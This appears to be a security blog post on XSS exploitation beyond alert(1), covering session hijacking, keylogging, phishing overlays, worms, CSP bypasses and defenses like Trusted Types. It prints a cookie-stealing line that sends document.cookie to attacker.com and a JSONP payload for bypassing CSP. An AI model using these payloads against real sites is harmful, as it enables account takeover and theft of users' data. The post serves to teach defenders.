XSS Beyond the Alert Box: Real-World Exploitation Chains
April 22, 2026
An XSS finding that demonstrates only alert(1) is routinely triaged as low or medium severity and deprioritized behind more dramatic-looking vulnerabilities. This is a systematic underestimation. XSS gives an attacker arbitrary JavaScript execution in a victim's browser, in the context of the vulnerable application, with all the privileges that implies. The difference between an alert box and a complete account takeover is a few hundred lines of JavaScript. This post documents what that JavaScript actually looks like.
Reflected, Stored, and DOM-Based XSS: What Actually Matters
Reflected XSS requires the victim to click a crafted link — the payload travels from the URL into the page. The delivery mechanism (phishing email, malicious ad, link shortener) is the primary constraint; once the victim clicks, execution is guaranteed. Stored XSS is injected into the application's database and fires for every user who views the affected page — no per-victim delivery required. A stored XSS in a shared view (message board, product review, user profile) can affect thousands of users from a single injection.
DOM-based XSS is fundamentally different in mechanism: the payload never reaches the server. The vulnerable code reads attacker-controlled data — typically from location.hash, document.referrer, or window.name — and passes it to a dangerous sink like innerHTML, eval(), document.write(), or setTimeout() with a string argument. Server-side defenses — output encoding, WAFs, CSP headers that block inline script — may not catch DOM XSS because the payload is processed entirely in the browser. DOM XSS is frequently missed in security reviews that focus only on server-rendered output.
Mutation XSS (mXSS) exploits the browser's HTML parser in a way that causes safely-encoded or filtered content to become dangerous after the parser processes it. The canonical example: feeding carefully constructed HTML into innerHTML causes the browser's parser to "fix" the markup in a way that creates valid script execution. Server-side sanitization libraries that pass their output through innerHTML can be defeated by inputs that are safe after server-side processing but mutate into executable form in the browser. DOMPurify, the most widely used client-side sanitization library, has historically had mXSS vulnerabilities — which is not a condemnation of DOMPurify, but a demonstration that sanitization is genuinely hard.
Session Hijacking and Account Takeover
The classic XSS exploit is session cookie theft: new Image().src='https://attacker.com/steal?c='+document.cookie. This works against cookies not protected by HttpOnly — a flag that prevents JavaScript from reading the cookie. Modern applications set HttpOnly on session cookies precisely to block this. But HttpOnly prevents reading the cookie from JavaScript; it does not prevent the attacker's JavaScript from making authenticated requests using the cookie, because the browser automatically attaches cookies to same-origin requests regardless of HttpOnly.
Against applications using HttpOnly cookies, the attacker's JavaScript acts as the victim: it makes fetch requests to the application's API (authenticated via the browser's automatic cookie attachment), reads the responses (since we are in the application's origin context, Same-Origin Policy does not restrict same-origin requests), and exfiltrates data or performs actions. Change the email address on the account, disable two-factor authentication, add a new OAuth application, export the user's data — any action available in the application's interface is available to the attacker's script running in the victim's browser.
Applications that use anti-CSRF tokens present a minor obstacle. The attacker's script reads the CSRF token from the page DOM (since same-origin access applies to reading from the page itself), then includes it in subsequent API requests. A CSRF token provides zero protection against XSS — its purpose is to prevent cross-origin request forgery, and an XSS attack operates from within the origin. Any security architecture that relies on CSRF tokens to limit XSS impact is built on a misunderstanding.
Keylogging, Phishing, and Worm Propagation
Stored XSS on high-value pages (banking dashboards, password managers, admin panels) enables persistent keylogging. The attacker injects a script that attaches a keydown event listener to document and periodically exfiltrates the captured keystroke buffer to an attacker-controlled endpoint. Every credential typed into any field on the affected application — while the victim has the page open — is captured, including passwords typed into fields that the application then masks with asterisks. The keystroke capture happens before the masking.
XSS enables sophisticated in-browser phishing that is substantially more convincing than email phishing. The attacker's script replaces a section of the legitimate application interface with a crafted overlay — a fake re-authentication prompt, a "your session has expired" modal, a fake two-factor authentication flow — styled to match the application's design exactly because it is running in the same DOM as the real application. The browser URL bar shows the legitimate application domain. The SSL certificate is valid. The page looks correct because it largely is correct — only the credential harvesting element is injected. Victims have no reliable visual signal that anything is wrong.
Stored XSS combined with self-replication produces XSS worms. The Samy worm (2005) infected over a million MySpace profiles in 20 hours. The mechanism: the injected script performs an authenticated request to add itself to the victim's profile, so every user who views an infected profile becomes infected and propagates the payload. In modern applications with rich social features — shared documents, collaborative editing, comment threads, user profiles viewed by others — the same worm propagation mechanics apply. A single stored XSS injection point, combined with a write API that the script can call while authenticated as the viewer, can propagate to every user of the application.
CSP Bypass Techniques
Content Security Policy is the primary browser-level mitigation for XSS. A well-configured CSP that blocks inline script, restricts script-src to specific trusted origins, and uses nonces or hashes for inline scripts can prevent XSS payloads from executing even when injection is present. In practice, most CSP deployments are ineffective. Research by Google consistently shows that the majority of CSP policies deployed on real sites contain bypasses — typically through unsafe-inline, wildcard origins, or inclusion of CDN domains that host JSONP endpoints or Angular/jQuery versions with known XSS gadgets.
JSONP endpoints are CSP bypasses hiding in plain sight. If a CSP allows https://accounts.google.com (a common requirement for Google sign-in), any JSONP endpoint on that domain can be abused: <script src='https://accounts.google.com/o/oauth2/revoke?callback=alert(1)'></script>. The browser loads the script from the allowed origin, and the JSONP callback executes attacker-controlled JavaScript. Auditing every allowed CSP origin for JSONP endpoints, open redirectors, and Angular/jQuery version hosting is tedious but necessary for CSP to provide meaningful protection.
CSP with unsafe-inline or unsafe-eval provides limited additional protection over no CSP at all. These directives are typically present because developers added them to silence CSP violation reports caused by inline event handlers or eval() usage in legacy code. The fix is to eliminate those patterns from the codebase rather than relaxing the CSP. Strict-dynamic CSP mode, combined with nonces generated per-response, provides the strongest protection and is compatible with modern JavaScript frameworks that do not rely on inline script.
Modern Browser Defenses and Trusted Types
Trusted Types is a browser API designed to eliminate DOM XSS by making dangerous sink usage a type error. When Trusted Types is enforced via CSP (require-trusted-types-for 'script'), assignments to innerHTML, outerHTML, and other dangerous sinks must use Trusted Types objects rather than raw strings. A Trusted Types object can only be created by a registered policy function — code that is explicitly reviewed for security. Any path from user input to a dangerous sink that bypasses the policy will throw a TypeError at runtime, making DOM XSS structural impossible rather than just less likely.
The X-Content-Type-Options: nosniff header, SameSite cookie attributes, and Origin header validation each address specific XSS-adjacent attack vectors. SameSite=Strict or SameSite=Lax on session cookies prevents them from being sent in cross-site requests, substantially raising the bar for CSRF — which is often chained with XSS. None of these headers prevents XSS execution itself; they limit the lateral damage from XSS in specific scenarios.
The most effective XSS prevention is treating output encoding as a strict invariant at the framework level. React, Angular, and Vue all escape output by default — direct use of dangerouslySetInnerHTML, Angular's bypassSecurityTrustHtml(), or Vue's v-html should be treated as a red flag in code review and require documented justification. Legacy applications using server-side templating require explicit output encoding at every insertion point. Build security review checklists that specifically target the escape hatches in whatever framework your application uses — those are where XSS vulnerabilities consistently appear in framework-based applications.